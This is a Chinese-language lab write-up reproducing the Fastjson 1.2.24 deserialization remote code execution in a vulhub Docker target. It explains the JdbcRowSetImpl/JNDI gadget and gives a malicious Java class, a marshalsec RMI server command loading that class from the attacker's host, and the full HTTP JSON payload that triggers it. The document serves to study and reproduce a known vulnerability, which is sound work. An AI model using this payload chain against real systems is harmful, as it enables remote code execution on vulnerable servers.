1.准备:
1.1复现环境
漏洞环境:vulnhub靶场
工具准备:jdk8,apache-maven-3.9.9,kali2024.1,MarshalSec
1.2环境启动
进入vulnhub目录下的fastjson目录,进入CVE-2017-18349目录
cd /home/hbesljx/vulhub/fastjson/1.2.24-rce
docker-compoe启动漏洞环境
docker-compose up -d
访问靶机的8090端口。出现如下即为开启成功!
2.概念说明
2.1 fastjson是什么
Fastjson 是阿里巴巴开源的一个 Java 库,主要用于将 Java 对象转换成 JSON 格式的字符串,以及将 JSON 字符串转换回 Java 对象。
2.2 JNDI是什么
JNDI是JAVA应用程序接口,为JAVA应用程序提供命名服务,提供了查找和访问各种命名和目录服务的通用统一接口。
通俗来说,JNDI给各个资源进行命名,然后我们需要这个资源的时候,只需要告诉JNDI这个资源的名字,它就会去找到这个资源并且返回给我们。有效实现了程序和资源的解耦合。
2.3 RMI是什么
JAVA远程方法调用(RMI)允许在一个Java虚拟机中运行的对象调用在另一个Java
虚拟机中运行的对象的方法。RMI提供了用JAVA编程语言编写的程序之间的远程通信。
3.漏洞原理
fastjson在解析json的过程中,支持使用@type来实例化某一个具体的类,并调用该类的set/get方法来访问属性。这个@type是我们可控的参数值。
因此我们选择@type为"com.sun.rowset.JdbcRowSetImpl",在反序列化时会调用这个类的set/get方法。
而我们传入了dataSourceName和autoCommit两个值,因此会调用对象的setDataSourceName()和setAutoCommit()方法。
而在是setAutoCommit()中有一行代码
this.conn = this.connect();
意味着setAutoCommit()会调用connect方法。
而在connect()方法中我们可以看见这样一行代码
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
说明connect()方法调用了lookup方法,参数为我们的dataSourceName。
lookup()方法是JNDI的一种实现,我们只需要让dataSourceName指向我们构造的恶意对象即可。
利用RMI让dataSourceName可以访问到我们的恶意对象。
4.漏洞复现
4.1 编译恶意java对象
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac TouchFile.java
得到class文件
4.2 kali下载jdk8和apache-maven-3.9.9并且安装
4.3 marshalsec搭建RMI服务器
4.3.1 下载marshalsec
进入marshalsec-master目录
打开maven
执行mvn clean package -DskipTests
cd marshalsec
source /etc/profile
mvn clean package -DskipTests
如果报错网络无法连接,打开maven目录的/conf/settings.xml文件,添加阿里云镜像
<mirrors>
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
<mirrorOf>central</mirrorOf>
</mirror>
</mirrors>
4.3.2 启动RMI服务器,加载放在kali的远程恶意class
保证java和javac版本一致!
切换java和javac版本命令如下:
sudo update-alternatives --config java
sudo update-alternatives --config javac
首先将构造的TouchFile.class放到kali的apache网站目录下
借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类`TouchFile.class`:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.133.130/#TouchFile" 9999
4.4 向靶场服务器发送Payload
payload如下
POST / HTTP/1.1
Host: 192.168.133.140:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.133.130:9999/TouchFile",
"autoCommit":true
}
}
其中就构造了@type使得反序列化调用JdbcRowSetImpl的set方法,从而调用到connect()中的lookup()方法,读取到我们传入的dataSourceName,通过RMI调用到我们构造的远程恶意class。
4.5 检查是否执行了命令
进入靶场目录检查是否执行了"touch /tmp/success"命令
首先查看我们的CONTAINER ID
docker ps
然后进入/tmp目录查看是否有success文件
docker exec -it your_container_ID bash
cd tmp/
ls
执行成功!